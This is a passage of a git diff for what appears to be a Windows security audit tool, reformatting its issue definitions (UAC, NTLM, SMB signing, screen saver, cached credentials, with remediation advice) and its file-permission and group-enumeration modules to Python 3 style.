- 'description': '''Some of the Event Log files could be read by non-administrative users. This may allow attackers to view log information they weren't intended to see. This can help them to determine if they are being monitored or to access information which may help in other attacks.''',
- 'recommendation': '''Modify the permissions on the above files to allow only administrators read access. Revoke read access from low-privileged users.''',
- 'supporting_data': {
- 'file_read': {
- 'section': "description",
- 'preamble': "The files below could be changed by non-administrative users:",
- },
- }
+ 'title': "Read Permissions Allowed On Event Log File",
+ 'description':
+ '''Some of the Event Log files could be read by non-administrative users. This may allow attackers to view log information they weren't intended to see. This can help them to determine if they are being monitored or to access information which may help in other attacks.''',
+ 'recommendation':
+ '''Modify the permissions on the above files to allow only administrators read access. Revoke read access from low-privileged users.''',
+ 'supporting_data': {
+ 'file_read': {
+ 'section':
+ "description",
+ 'preamble':
+ "The files below could be changed by non-administrative users:",
+ },
+ }
},
'WPC089': {
- 'title': "Missing Security Patches Leave System At Risk From Public Exploit Code",
- 'description': '''The system was determined to be missing some security patches. The patches concerned fix vulnerabilities for which public exploit code exists.''',
- 'recommendation': '''Apply the latest security patches.''',
- 'supporting_data': {
- 'exploit_list': {
- 'section': "description",
- 'preamble': "The following public exploits are believed to be effective against the system:",
- },
- }
+ 'title':
+ "Missing Security Patches Leave System At Risk From Public Exploit Code",
+ 'description':
+ '''The system was determined to be missing some security patches. The patches concerned fix vulnerabilities for which public exploit code exists.''',
+ 'recommendation': '''Apply the latest security patches.''',
+ 'supporting_data': {
+ 'exploit_list': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following public exploits are believed to be effective against the system:",
+ },
+ }
},
'WPC090': {
- 'title': "Screen Saver Is Not Password Protected",
- 'description': '''Some system users were found to not use password protected screen savers. This may leave unattended systems open to abuse.''',
- 'recommendation': '''Ensure that all accounts that are logged into interactively use a password protected screen saver.''',
- 'supporting_data': {
- 'user_reg_keys': {
- 'section': "description",
- 'preamble': "The following registry keys indicate the absence of a password-protected screen saver for some users:",
- },
- }
+ 'title': "Screen Saver Is Not Password Protected",
+ 'description':
+ '''Some system users were found to not use password protected screen savers. This may leave unattended systems open to abuse.''',
+ 'recommendation':
+ '''Ensure that all accounts that are logged into interactively use a password protected screen saver.''',
+ 'supporting_data': {
+ 'user_reg_keys': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following registry keys indicate the absence of a password-protected screen saver for some users:",
+ },
+ }
},
'WPC091': {
- 'title': "Screen Saver Timeout Is Too Long",
- 'description': '''The elapsed time before the password-protected screen saver activates is longer than 10 mins for some users. This may leave unattended systems open to abuse for longer than necessary.''',
- 'recommendation': '''For user accounts that are logged into interactively, configure a suitable screen saver timeout to protect idle systems. The precise timeout required may vary depending on the environment.''',
- 'supporting_data': {
- 'user_reg_keys': {
- 'section': "description",
- 'preamble': "The registy keys below show the timeout in seconds:",
- },
- }
+ 'title': "Screen Saver Timeout Is Too Long",
+ 'description':
+ '''The elapsed time before the password-protected screen saver activates is longer than 10 mins for some users. This may leave unattended systems open to abuse for longer than necessary.''',
+ 'recommendation':
+ '''For user accounts that are logged into interactively, configure a suitable screen saver timeout to protect idle systems. The precise timeout required may vary depending on the environment.''',
+ 'supporting_data': {
+ 'user_reg_keys': {
+ 'section': "description",
+ 'preamble':
+ "The registy keys below show the timeout in seconds:",
+ },
+ }
},
'WPC092': {
- 'title': "Host Is In A Domain",
- 'description': '''The host audited is in a domain. While this is a not a security issue in itself, the inherent trust of other systems could mean that this host is vulnerable to attack even if the local security audit identifies no siginficant security issues.''',
- 'recommendation': '''Ensure that the systems and accounts trusted by this host are also secure. This may require significantly more auditing.''',
- 'supporting_data': {
- 'dc_info': {
- 'section': "description",
- 'preamble': "The following domain information was retrieved:",
- },
- }
+ 'title': "Host Is In A Domain",
+ 'description':
+ '''The host audited is in a domain. While this is a not a security issue in itself, the inherent trust of other systems could mean that this host is vulnerable to attack even if the local security audit identifies no siginficant security issues.''',
+ 'recommendation':
+ '''Ensure that the systems and accounts trusted by this host are also secure. This may require significantly more auditing.''',
+ 'supporting_data': {
+ 'dc_info': {
+ 'section': "description",
+ 'preamble': "The following domain information was retrieved:",
+ },
+ }
},
'WPC093': {
- 'title': "Files and Directories Can Be Modified By Non-Admin Users",
- 'description': '''Some files and/or directories can be modified by non-admin users.''',
- 'recommendation': '''Manual investigation is required to determine any impact. This is just a generic issue.''',
- 'supporting_data': {
- 'writable_dirs': {
- 'section': "description",
- 'preamble': "The following directories were writeable by non-admin users:",
- },
- 'writable_files': {
- 'section': "description",
- 'preamble': "The following files were writeable by non-admin users:",
- },
- }
+ 'title': "Files and Directories Can Be Modified By Non-Admin Users",
+ 'description':
+ '''Some files and/or directories can be modified by non-admin users.''',
+ 'recommendation':
+ '''Manual investigation is required to determine any impact. This is just a generic issue.''',
+ 'supporting_data': {
+ 'writable_dirs': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following directories were writeable by non-admin users:",
+ },
+ 'writable_files': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following files were writeable by non-admin users:",
+ },
+ }
},
'WPC094': {
- 'title': "User Access Control Setting Allows Malware to Elevate Without Prompt",
- 'description': '''The security policy setting 'User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode' is set to 'Elevate without prompting' or 'Prompt for consent for non-Windows binaries' (default). This allows malicious programs to elevate without the user agreeing. Metasploit and other free tools can perform such escalation.''',
- 'recommendation': '''Alter security policy to 'Prompt for consent' or stronger setting.''',
- 'supporting_data': {
- 'reg_key_value': {
- 'section': "description",
- 'preamble': "The following registry key shows the current policy setting:",
- },
- }
+ 'title':
+ "User Access Control Setting Allows Malware to Elevate Without Prompt",
+ 'description':
+ '''The security policy setting 'User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode' is set to 'Elevate without prompting' or 'Prompt for consent for non-Windows binaries' (default). This allows malicious programs to elevate without the user agreeing. Metasploit and other free tools can perform such escalation.''',
+ 'recommendation':
+ '''Alter security policy to 'Prompt for consent' or stronger setting.''',
+ 'supporting_data': {
+ 'reg_key_value': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following registry key shows the current policy setting:",
+ },
+ }
},
'WPC095': {
- 'title': "User Access Control Is Not Applied To Builtin Administrator Account",
- 'description': '''The RID 500 account does not run in admin approval mode. If this user account were to be compromised, UAC would not provide any mitigation.''',
- 'recommendation': '''Enable the security policy setting 'User Account Control: Use Admin Approval Mode for the built-in Administrator account'.''',
- 'supporting_data': {
- 'reg_key_value': {
- 'section': "description",
- 'preamble': "The following registry key shows the current policy setting:",
- },
- }
+ 'title':
+ "User Access Control Is Not Applied To Builtin Administrator Account",
+ 'description':
+ '''The RID 500 account does not run in admin approval mode. If this user account were to be compromised, UAC would not provide any mitigation.''',
+ 'recommendation':
+ '''Enable the security policy setting 'User Account Control: Use Admin Approval Mode for the built-in Administrator account'.''',
+ 'supporting_data': {
+ 'reg_key_value': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following registry key shows the current policy setting:",
+ },
+ }
},
'WPC096': {
- 'title': "User Access Control Not Enabled",
- 'description': '''UAC has been disabled on the system. It will not mitigate the compromise of administrative accounts. This is not the default configuration.''',
- 'recommendation': '''Enable the security policy setting 'User Account Control: Run all administrators in Admin Approval Mode'.''',
- 'supporting_data': {
- 'reg_key_value': {
- 'section': "description",
- 'preamble': "The following registry key shows the current policy setting:",
- },
- }
+ 'title': "User Access Control Not Enabled",
+ 'description':
+ '''UAC has been disabled on the system. It will not mitigate the compromise of administrative accounts. This is not the default configuration.''',
+ 'recommendation':
+ '''Enable the security policy setting 'User Account Control: Run all administrators in Admin Approval Mode'.''',
+ 'supporting_data': {
+ 'reg_key_value': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following registry key shows the current policy setting:",
+ },
+ }
},
'WPC097': {
- 'title': "User Access Control Does not Prompt on the Secure Desktop",
- 'description': '''UAC has not been configured to use the secure desktop when prompting for elevation. It might be possible to subvert the consent process and trick a user into approving elevation of malware.''',
- 'recommendation': '''Enable the security policy setting 'User Account Control: Switch to the secure desktop when prompting for elevation'.''',
- 'supporting_data': {
- 'reg_key_value': {
- 'section': "description",
- 'preamble': "The following registry key shows the current policy setting:",
- },
- }
+ 'title': "User Access Control Does not Prompt on the Secure Desktop",
+ 'description':
+ '''UAC has not been configured to use the secure desktop when prompting for elevation. It might be possible to subvert the consent process and trick a user into approving elevation of malware.''',
+ 'recommendation':
+ '''Enable the security policy setting 'User Account Control: Switch to the secure desktop when prompting for elevation'.''',
+ 'supporting_data': {
+ 'reg_key_value': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following registry key shows the current policy setting:",
+ },
+ }
},
'WPC098': {
- 'title': "LANMan Authentication Level Not Set To Mandate NTLMv2",
- 'description': '''The system has not been configured to mandate the use of NTLMv2 when acting as a client and a server. This leaves network communications more open to attack.''',
- 'recommendation': '''Set the security policy setting 'Network security: LAN Manager authentication level' to 'Send NTLMv2 response only\refuse LM & NTLM'.''',
- 'supporting_data': {
- 'reg_key_value': {
- 'section': "description",
- 'preamble': "The following registry key shows the current policy setting:",
- },
- }
+ 'title': "LANMan Authentication Level Not Set To Mandate NTLMv2",
+ 'description':
+ '''The system has not been configured to mandate the use of NTLMv2 when acting as a client and a server. This leaves network communications more open to attack.''',
+ 'recommendation':
+ '''Set the security policy setting 'Network security: LAN Manager authentication level' to 'Send NTLMv2 response only\refuse LM & NTLM'.''',
+ 'supporting_data': {
+ 'reg_key_value': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following registry key shows the current policy setting:",
+ },
+ }
},
'WPC099': {
- 'title': "Weak LANMan Password Hash Used In SAM",
- 'description': '''LANMan password hashes are stored in the SAM. If the system were to be compromised, it would be much easier for an attacker to recover passwords than if the use of LANman had been disabled.''',
- 'recommendation': '''Set the security policy setting 'Network security: Do not store LAN Manager hash value on next password change' to Enabled.''',
- 'supporting_data': {
- 'reg_key_value': {
- 'section': "description",
- 'preamble': "The following registry key shows the current policy setting:",
- },
- }
+ 'title': "Weak LANMan Password Hash Used In SAM",
+ 'description':
+ '''LANMan password hashes are stored in the SAM. If the system were to be compromised, it would be much easier for an attacker to recover passwords than if the use of LANman had been disabled.''',
+ 'recommendation':
+ '''Set the security policy setting 'Network security: Do not store LAN Manager hash value on next password change' to Enabled.''',
+ 'supporting_data': {
+ 'reg_key_value': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following registry key shows the current policy setting:",
+ },
+ }
},
'WPC100': {
- 'title': "System Caches Logon Credentails",
- 'description': '''The system is configured to cache a number of logon credentials in case the domain controller is unavaialble next time a user tries to log in. Such data can be accessed and potentially used to recover domain passwords in the event of a compromise.''',
- 'recommendation': '''Set the security policy setting 'Interactive logon: Number of previous logons to cache (in case domain controller is not available)' 0 if possible - though this might not be a usable configuration for laptops.''',
- 'supporting_data': {
- 'reg_key_value': {
- 'section': "description",
- 'preamble': "The following registry key shows the current policy setting:",
- },
- }
+ 'title': "System Caches Logon Credentails",
+ 'description':
+ '''The system is configured to cache a number of logon credentials in case the domain controller is unavaialble next time a user tries to log in. Such data can be accessed and potentially used to recover domain passwords in the event of a compromise.''',
+ 'recommendation':
+ '''Set the security policy setting 'Interactive logon: Number of previous logons to cache (in case domain controller is not available)' 0 if possible - though this might not be a usable configuration for laptops.''',
+ 'supporting_data': {
+ 'reg_key_value': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following registry key shows the current policy setting:",
+ },
+ }
},
'WPC101': {
- 'title': "SMB Server Does Not Mandate Packet Signing",
- 'description': '''SMB clients that connect to this server are not forced to use signing. As signing protects data from modification in transit, clients may end up receiving data that has been maliciously altered by an attacker. This could lead to a compromise of the client if it opens or runs the files accessed - particularly in the case of a domain member access group policy information.''',
- 'recommendation': '''Set the security policy setting 'Microsoft network server: Digitally sign communications (always)' to Enabled.''',
- 'supporting_data': {
- 'reg_key_value': {
- 'section': "description",
- 'preamble': "The following registry key shows the current policy setting:",
- },
- }
+ 'title': "SMB Server Does Not Mandate Packet Signing",
+ 'description':
+ '''SMB clients that connect to this server are not forced to use signing. As signing protects data from modification in transit, clients may end up receiving data that has been maliciously altered by an attacker. This could lead to a compromise of the client if it opens or runs the files accessed - particularly in the case of a domain member access group policy information.''',
+ 'recommendation':
+ '''Set the security policy setting 'Microsoft network server: Digitally sign communications (always)' to Enabled.''',
+ 'supporting_data': {
+ 'reg_key_value': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following registry key shows the current policy setting:",
+ },
+ }
},
'WPC102': {
- 'title': "SMB Client Does Not Mandate Packet Signing",
- 'description': '''SMB connection originating from this host might not negotiate pack signing. As signing protects data from modification in transit, clients may end up sending or receiving data that has been maliciously altered by an attacker. This could lead to a compromise of the client or server.''',
- 'recommendation': '''Set the security policy setting 'Microsoft network server: Digitally sign communications (always)' to Enabled.''',
- 'supporting_data': {
- 'reg_key_value': {
- 'section': "description",
- 'preamble': "The following registry key shows the current policy setting:",
- },
- }
+ 'title': "SMB Client Does Not Mandate Packet Signing",
+ 'description':
+ '''SMB connection originating from this host might not negotiate pack signing. As signing protects data from modification in transit, clients may end up sending or receiving data that has been maliciously altered by an attacker. This could lead to a compromise of the client or server.''',
+ 'recommendation':
+ '''Set the security policy setting 'Microsoft network server: Digitally sign communications (always)' to Enabled.''',
+ 'supporting_data': {
+ 'reg_key_value': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following registry key shows the current policy setting:",
+ },
+ }
},
'WPC103': {
- 'title': "Screen Saver Does Not Activate Automatically",
- 'description': '''No screensaver was configured for some users.''',
- 'recommendation': '''For user accounts that are logged into interactively, configure a suitable screen saver timeout to protect idle systems. The precise timeout required may vary depending on the environment.''',
- 'supporting_data': {
- 'user_reg_keys': {
- 'section': "description",
- 'preamble': "The registy keys below show if the screen saver is active or inactive:",
- },
- }
+ 'title': "Screen Saver Does Not Activate Automatically",
+ 'description': '''No screensaver was configured for some users.''',
+ 'recommendation':
+ '''For user accounts that are logged into interactively, configure a suitable screen saver timeout to protect idle systems. The precise timeout required may vary depending on the environment.''',
+ 'supporting_data': {
+ 'user_reg_keys': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registy keys below show if the screen saver is active or inactive:",
+ },
+ }
},
'WPC104': {
- 'title': "Thread Security Descriptor Allows Access To Non-Admin Users (TODO)",
- 'description': '''TODO. Writeme+Fixme. This issue currently get false positives about non-priv users being able to change their own process. Also needs to take account of RESTRICTED processes http://blogs.msdn.com/b/aaron_margosis/archive/2004/09/10/227727.aspx http://msdn.microsoft.com/en-us/library/ms972827.aspx''',
- 'recommendation': '''TODO''',
- 'supporting_data': {
- 'thread_perms': {
- 'section': "description",
- 'preamble': "TODO",
- },
- }
+ 'title':
+ "Thread Security Descriptor Allows Access To Non-Admin Users (TODO)",
+ 'description':
+ '''TODO. Writeme+Fixme. This issue currently get false positives about non-priv users being able to change their own process. Also needs to take account of RESTRICTED processes http://blogs.msdn.com/b/aaron_margosis/archive/2004/09/10/227727.aspx http://msdn.microsoft.com/en-us/library/ms972827.aspx''',
+ 'recommendation': '''TODO''',
+ 'supporting_data': {
+ 'thread_perms': {
+ 'section': "description",
+ 'preamble': "TODO",
+ },
+ }
},
'WPC105': {
- 'title': "Token Security Descriptor Allows Access To Non-Admin Users (TODO)",
- 'description': '''TODO''',
- 'recommendation': '''TODO''',
- 'supporting_data': {
- 'token_perms': {
- 'section': "description",
- 'preamble': "TODO",
- },
- }
+ 'title':
+ "Token Security Descriptor Allows Access To Non-Admin Users (TODO)",
+ 'description': '''TODO''',
+ 'recommendation': '''TODO''',
+ 'supporting_data': {
+ 'token_perms': {
+ 'section': "description",
+ 'preamble': "TODO",
+ },
+ }
},
}
# TODO: Manage auditing and security log - view and clear security log. Disable per-object auditing.
-# TODO: Log on locally - low priv users can exec commands if they have physical access. Not required for service accounts. Too voluminous?
\ No newline at end of file
+# TODO: Log on locally - low priv users can exec commands if they have physical access. Not required for service accounts. Too voluminous?
diff --git a/wpc/drives.py b/wpc/drives.py
index 1cb0924..a5fc934 100755
--- a/wpc/drives.py
+++ b/wpc/drives.py
@@ -7,5 +7,7 @@
class drives():
def get_fixed_drives(self):
for d in win32api.GetLogicalDriveStrings().split("\x00")[0:-1]:
- if win32file.GetDriveType(d) == win32con.DRIVE_FIXED or win32file.GetDriveType(d) == 4:
+ if win32file.GetDriveType(
+ d) == win32con.DRIVE_FIXED or win32file.GetDriveType(
+ d) == 4:
yield drive(d)
diff --git a/wpc/exploit.py b/wpc/exploit.py
index f2cb4e8..bfcf5ed 100755
--- a/wpc/exploit.py
+++ b/wpc/exploit.py
@@ -41,13 +41,13 @@ def add_url(self, url):
self.urls.append(url)
def as_string(self):
- print "Title: %s" % self.title
+ print("Title: %s" % self.title)
if self.description:
- print "Description: %s" % self.description
+ print("Description: %s" % self.description)
if self.urls:
- print "URLs: %s" % " \n".join(self.urls)
+ print("URLs: %s" % " \n".join(self.urls))
for k in self.info.keys():
- print "%s: %s" % (k, self.info[k])
+ print("%s: %s" % (k, self.info[k]))
for k in self.refnos.keys():
- print "%s: %s" % (k, self.refnos[k])
- print
+ print("%s: %s" % (k, self.refnos[k]))
+ print()
diff --git a/wpc/file.py b/wpc/file.py
index 813d8cd..a389a47 100755
--- a/wpc/file.py
+++ b/wpc/file.py
@@ -26,6 +26,7 @@ def __init__(self, name):
self.type = 'file'
self.sd = None
+
# def clearmem(self):
# self.name = None
# self.type = None
@@ -41,7 +42,7 @@ def as_text(self):
return s
def dump(self):
- print self.as_text()
+ print(self.as_text())
def get_name(self):
return self.name
@@ -72,7 +73,8 @@ def is_file(self):
def get_file_acl_for_perms(self, perms):
if self.get_sd():
- al = self.get_sd().get_acelist().get_untrusted().get_aces_with_perms(perms).get_aces()
+ al = self.get_sd().get_acelist().get_untrusted(
+ ).get_aces_with_perms(perms).get_aces()
if al == []:
return None
else:
@@ -84,14 +86,16 @@ def get_dangerous_aces(self):
#print "[D] ACE: "
#for a in self.get_sd().get_acelist().get_dangerous_perms().get_aces():
# print a.as_text()
- return self.get_sd().get_acelist().get_untrusted().get_dangerous_perms().get_aces()
+ return self.get_sd().get_acelist().get_untrusted(
+ ).get_dangerous_perms().get_aces()
except:
return []
# Can an untrusted user replace this file/dir? TODO unused
def is_replaceable(self):
if not self.exists():
- print "[W] is_replaceable called for non-existent file %s" % self.get_name()
+ print("[W] is_replaceable called for non-existent file %s" %
+ self.get_name())
return 0
# There are a few things that could cause a file/dir to be replacable. Firstly let's define "replaceable":
@@ -132,7 +136,9 @@ def is_replaceable(self):
# 9. Parent dir (or any parent thereof) allows WRITE_DAC for an untrusted user
# 10. Parent dir (or any parent thereof) allows WRITE_OWNER for an untrusted user
# Also see below for a recursive check of parent directories
- if not self.get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_WRITE_DAC", "FILE_WRITE_OWNER"]).get_aces() == []:
+ if not self.get_sd().get_acelist().get_untrusted(
+ ).get_aces_with_perms(["FILE_WRITE_DAC", "FILE_WRITE_OWNER"
+ ]).get_aces() == []:
self.replaceable_set = 1
self.replaceable = 1
return 1
@@ -141,48 +147,65 @@ def is_replaceable(self):
if self.type == 'file':
if self.get_sd():
# 4. File allows FILE_WRITE_DATA for an untrusted user
- if not self.get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_WRITE_DATA"]).get_aces() == []:
+ if not self.get_sd().get_acelist().get_untrusted(
+ ).get_aces_with_perms(["FILE_WRITE_DATA"]).get_aces() == []:
self.replaceable_set = 1
self.replaceable = 1
return 1
# 5. File allows DELETE and parent dir allows FILE_ADD_FILE for an untrusted user
- if not self.get_sd().get_acelist().get_untrusted().get_aces_with_perms(["DELETE"]).get_aces() == []:
+ if not self.get_sd().get_acelist().get_untrusted(
+ ).get_aces_with_perms(["DELETE"]).get_aces() == []:
if self.get_parent_dir().get_sd():
- if not self.get_parent_dir().get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_ADD_FILE"]).get_aces() == []:
+ if not self.get_parent_dir().get_sd().get_acelist(
+ ).get_untrusted().get_aces_with_perms(
+ ["FILE_ADD_FILE"]).get_aces() == []:
self.replaceable_set = 1
self.replaceable = 1
return 1
# 6. Parent dir allows FILE_DELETE_CHILD and FILE_ADD_FILE for an untrusted user
- # NB: We don't require that a single ACE contains both perms. If untrusted user x has FILE_DELETE_CHILD and untrusted user y has perm FILE_ADD_FILE,
+ # NB: We don't require that a single ACE contains both perms. If untrusted user x has FILE_DELETE_CHILD and untrusted user y has perm FILE_ADD_FILE,
# this is still insecure.
if self.get_parent_dir().get_sd():
- if not self.get_parent_dir().get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_ADD_FILE"]).get_aces() == [] and not self.get_parent_dir().get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_DELETE_CHILD"]).get_aces() == []:
+ if not self.get_parent_dir().get_sd(
+ ).get_acelist().get_untrusted().get_aces_with_perms([
+ "FILE_ADD_FILE"
+ ]).get_aces() == [] and not self.get_parent_dir().get_sd(
+ ).get_acelist().get_untrusted().get_aces_with_perms(
+ ["FILE_DELETE_CHILD"]).get_aces() == []:
self.replaceable_set = 1
self.replaceable = 1
- return 1
+ return 1
if self.type == 'dir':
# 7. Parent of directory or grandparent of file allows FILE_DELETE_CHILD and FILE_ADD_SUBFOLDER by untrusted user
# 8. Parent dir allows DELETE by untrusted user and its parent allows FILE_ADD_SUBFOLDER
if self.get_sd():
- if not self.get_sd().get_acelist().get_untrusted().get_aces_with_perms(["DELETE"]).get_aces() == []:
- if self.get_parent_dir() and self.get_parent_dir().get_sd():
- if not self.get_parent_dir().get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_ADD_SUBFOLDER"]).get_aces() == []:
+ if not self.get_sd().get_acelist().get_untrusted(
+ ).get_aces_with_perms(["DELETE"]).get_aces() == []:
+ if self.get_parent_dir() and self.get_parent_dir().get_sd(
+ ):
+ if not self.get_parent_dir().get_sd().get_acelist(
+ ).get_untrusted().get_aces_with_perms(
+ ["FILE_ADD_SUBFOLDER"]).get_aces() == []:
self.replaceable_set = 1
self.replaceable = 1
return 1
if self.get_parent_dir() and self.get_parent_dir().get_sd():
- if not self.get_parent_dir().get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_DELETE_CHILD", "FILE_ADD_SUBFOLDER"]).get_aces() == []:
+ if not self.get_parent_dir().get_sd().get_acelist(
+ ).get_untrusted().get_aces_with_perms([
+ "FILE_DELETE_CHILD", "FILE_ADD_SUBFOLDER"
+ ]).get_aces() == []:
self.replaceable_set = 1
self.replaceable = 1
return 1
# Recursive check of parent directories
# 0: A file/dir can be replaced if it's parent dir can be replaced (doesn't really count as it's a recursive definition)
- if self.get_parent_dir() and self.get_parent_dir().get_name() != self.get_name(): # "\" has parent of "\"
+ if self.get_parent_dir() and self.get_parent_dir().get_name(
+ ) != self.get_name(): # "\" has parent of "\"
if self.get_parent_dir().is_replaceable():
self.replaceable_set = 1
self.replaceable = 1
@@ -207,12 +230,12 @@ def get_parent_dir(self):
self.parent_dir = wpc.conf.cache.File(parentpath)
# print self.parent_dir
else:
- # print "[D] no parent dir"
+ # print "[D] no parent dir"
self.parent_dir = None
#if self.parent_dir:
- #print "get_parent_dir returning: " + str(self.parent_dir.get_name())
+ #print "get_parent_dir returning: " + str(self.parent_dir.get_name())
#else:
- #print "get_parent_dir returning: None"
+ #print "get_parent_dir returning: None"
return self.parent_dir
def get_sd(self):
@@ -220,16 +243,16 @@ def get_sd(self):
#sd = None
try:
sd = self.sd = win32security.GetNamedSecurityInfo(
- self.get_name(),
- win32security.SE_FILE_OBJECT,
- win32security.OWNER_SECURITY_INFORMATION | win32security.DACL_SECURITY_INFORMATION
- )
+ self.get_name(), win32security.SE_FILE_OBJECT,
+ win32security.OWNER_SECURITY_INFORMATION
+ | win32security.DACL_SECURITY_INFORMATION)
if self.is_dir():
self.sd = wpc.conf.cache.sd('directory', sd)
else:
self.sd = wpc.conf.cache.sd('file', sd)
except:
- print "WARNING: Can't get security descriptor for file: " + self.get_name()
+ print("WARNING: Can't get security descriptor for file: " +
+ self.get_name())
self.sd = None
- return self.sd
\ No newline at end of file
+ return self.sd
diff --git a/wpc/files.py b/wpc/files.py
index a6448d5..ddb8581 100755
--- a/wpc/files.py
+++ b/wpc/files.py
@@ -4,15 +4,15 @@
class files:
def __init__(self):
self.files = []
-
+
# for wpc.file objects, not strings
def add(self, file):
self.files.append(file)
-
+
def add_by_name(self, name):
f = File(name)
- self.add(f)
-
+ self.add(f)
+
def get_names(self):
return map(lambda x: x.name, self.getfiles())
@@ -20,13 +20,13 @@ def get_files(self):
return self.files
def get_files_by_path(self, ext):
- pass # TODO
-
+ pass # TODO
+
def get_files_by_extension(self, exts):
- pass # TODO
-
+ pass # TODO
+
def get_files_writable_by_user(self, users):
- pass # TODO
-
+ pass # TODO
+
def get_files_writable_by_all_except(self, users):
- pass # TODO
\ No newline at end of file
+ pass # TODO
diff --git a/wpc/group.py b/wpc/group.py
index e1c4967..2fde21b 100755
--- a/wpc/group.py
+++ b/wpc/group.py
@@ -8,7 +8,7 @@
# These have members
class group(principal):
def get_members(self):
-# print "get_members called for %s" % self.get_fq_name()
+ # print "get_members called for %s" % self.get_fq_name()
return self.get_members_except([self])
def get_members_except(self, ignore_principals):
@@ -20,32 +20,34 @@ def get_members_except(self, ignore_principals):
principals = []
#print "group %s is type %s" % (self.get_fq_name(), self.get_type_string())
#while keepgoing:
- #try:
- # m, total, resume = win32net.NetLocalGroupGetMembers(wpc.conf.remote_server, self.get_name(), 2 , resume, win32netcon.MAX_PREFERRED_LENGTH)
- #except:
- # return []
- #print m
- #for member in m:
- #members.append(member)
-# print "[D] a"
- for member in wpc.conf.cache.NetLocalGroupGetMembers(wpc.conf.remote_server, self.get_name(), 2):
-# print "[D] b"
+ #try:
+ # m, total, resume = win32net.NetLocalGroupGetMembers(wpc.conf.remote_server, self.get_name(), 2 , resume, win32netcon.MAX_PREFERRED_LENGTH)
+ #except:
+ # return []
+ #print m
+ #for member in m:
+ #members.append(member)
+ # print "[D] a"
+ for member in wpc.conf.cache.NetLocalGroupGetMembers(
+ wpc.conf.remote_server, self.get_name(), 2):
+ # print "[D] b"
#print "%s has member %s" % (self.get_fq_name(), member['domainandname'])
p = None
-# print "[D] member[sid]: %s" % member['sid']
+ # print "[D] member[sid]: %s" % member['sid']
if wpc.conf.sid_is_group_type[member['sidusage']]:
-# print "[D] b2"
+ # print "[D] b2"
p = group(member['sid'])
# print "[D] b21"
else:
-# print "[D] b3"
+ # print "[D] b3"
p = user(member['sid'])
# print "[D] b31"
- #for i in ignore_principals:
- # print "checking if %s is %s" % (p.get_sid(), i.get_sid())
- if not p.get_sid() in map(lambda x: x.get_sid(), ignore_principals):
- # print "%s is new" % p.get_sid()
+#for i in ignore_principals:
+# print "checking if %s is %s" % (p.get_sid(), i.get_sid())
+ if not p.get_sid() in map(lambda x: x.get_sid(),
+ ignore_principals):
+ # print "%s is new" % p.get_sid()
principals.append(p)
#else:
# print "%s is NOT new" % p.get_sid()
@@ -55,17 +57,19 @@ def get_members_except(self, ignore_principals):
# TODO: should be able to list members of group "None"
# print "[D] c"
- # TODO: make this an option
- # TODO: If we also want to list members of subgroups recursively...
+# TODO: make this an option
+# TODO: If we also want to list members of subgroups recursively...
ignore_principals.extend(principals)
for p in principals:
- # print "[D] d"
+ # print "[D] d"
if p.is_group_type():
g = group(member['sid'])
-# print "[D] %s has member %s (Group)" % (self.get_fq_name(), g.get_fq_name())
-# principals.append(g)
+ # print "[D] %s has member %s (Group)" % (self.get_fq_name(), g.get_fq_name())
+ # principals.append(g)
for new_principals in g.get_members_except(ignore_principals):
principals.append(new_principals)
+
+
# print "[D] e"
return principals
diff --git a/wpc/groups.py b/wpc/groups.py
index 6ae420b..1fb499a 100755
--- a/wpc/groups.py
+++ b/wpc/groups.py
@@ -13,30 +13,36 @@ def get_all(self):
level = 0
resume = 0
while True:
- grouplist, total, resume = win32net.NetGroupEnum(wpc.conf.remote_server, level, resume, 999999)
+ grouplist, total, resume = win32net.NetGroupEnum(
+ wpc.conf.remote_server, level, resume, 999999)
for u in grouplist:
try:
- sid, name, type = wpc.conf.cache.LookupAccountName(wpc.conf.remote_server, u['name'])
+ sid, name, type = wpc.conf.cache.LookupAccountName(
+ wpc.conf.remote_server, u['name'])
self.groups.append(group(sid))
except:
- print "[E] failed to lookup sid of %s" % group['name']
+ print("[E] failed to lookup sid of %s" %
+ group['name'])
if resume == 0:
break
except:
- print "[E] NetGroupEnum failed"
+ print("[E] NetGroupEnum failed")
try:
level = 0
resume = 0
while True:
- grouplist, total, resume = win32net.NetLocalGroupEnum(wpc.conf.remote_server, level, resume, 999999)
+ grouplist, total, resume = win32net.NetLocalGroupEnum(
+ wpc.conf.remote_server, level, resume, 999999)
for u in grouplist:
try:
- sid, name, type = wpc.conf.cache.LookupAccountName(wpc.conf.remote_server, u['name'])
+ sid, name, type = wpc.conf.cache.LookupAccountName(
+ wpc.conf.remote_server, u['name'])
self.groups.append(group(sid))
except:
- print "[E] failed to lookup sid of %s" % group['name']
+ print("[E] failed to lookup sid of %s" %
+ group['name'])
if resume == 0:
break
except:
- print "[E] NetLocalGroupEnum failed"
+ print("[E] NetLocalGroupEnum failed")
return self.groups
diff --git a/wpc/mspatchdb.py b/wpc/mspatchdb.py
index 726ac59..35adcc8 100755
--- a/wpc/mspatchdb.py
+++ b/wpc/mspatchdb.py
@@ -60,12 +60,18 @@ def get_kbs_from_msno(self, msno, os):
def list_os_strings(self):
oslist = {}
for row in self.patchspreadsheet:
